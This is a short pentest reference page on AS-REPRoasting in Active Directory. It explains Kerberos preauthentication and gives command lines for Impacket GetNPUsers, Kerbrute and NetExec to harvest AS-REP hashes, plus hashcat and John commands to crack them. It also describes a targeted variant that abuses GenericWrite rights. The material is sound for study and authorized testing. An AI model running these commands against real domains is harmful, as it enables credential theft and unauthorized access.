AS-REPRoasting
AS-REPRoasting is an attack on the initial Kerberos authentication step and it is usually performed after obtaining a list of valid domain users.
Preauthentication is a security feature in Kerberos where the client must prove knowledge of their password before the KDC issues a TGT. This is done by encrypting a timestamp with a key derived from the user’s password and sending it to the KDC. If the KDC can decrypt and validate the timestamp, it confirms the user knows their password — protecting against offline brute-force attacks.
If an account has the Do not require Kerberos pre-authentication
setting enabled then everyone can request from the DC to authenticate as that account and receive an AS-REP. The AS-REP contains the TGT which is encypted with the account's password hash which can be potentially cracked.

Tools
Enumerate ASREPRoastable accounts using Impacket or Kerbrute:
# Impacket's GetNPUsers script
impacket-GetNPUsers <domain>/<user> -dc-ip <dc-ip>
# Kerbrute
kerbrute userenum -d <domain> --dc <dc-ip> /opt/jsmith.txt
Execute the attack using Impacket or NetExec:
# Impacket's GetNPUsers script targeting a list of users
impacket-GetNPUsers <domain>/ -dc-ip <dc-ip> -no-pass -usersfile users.txt
# Impacket's GetNPUsers script targeting a single user
impacket-GetNPUsers <domain>/<targetUser> -dc-ip <dc-ip> -no-pass
# NetExec
nxc ldap <dc-ip> -u users.txt -p '' --asreproast asreproast.lst
For an example of ASREPRoasting using nxc
see Sauna.
The obtained hashes can be cracked using Hashcat or JtR:
# Hashcat
hashcat -m 18200 asreproast.lst /usr/share/wordlists/rockyou
# John
john --format=krb5asrep --wordlist=rockyou.txt --fork=4 asreproast.lst
Targeted AS-REPRoast
If we can't find any vulnerable users, but we have GenericWrite
or GenericAll
on a user object, we can modify that user's UserAccountControl
to disable preauthentication and then perform the ASREP roast attack. Don't forget to reset the UserAccountControl
after extraction!
Resources
What
impacket-GetNPUsers
does behind the scenes (video)
Last updated
Was this helpful?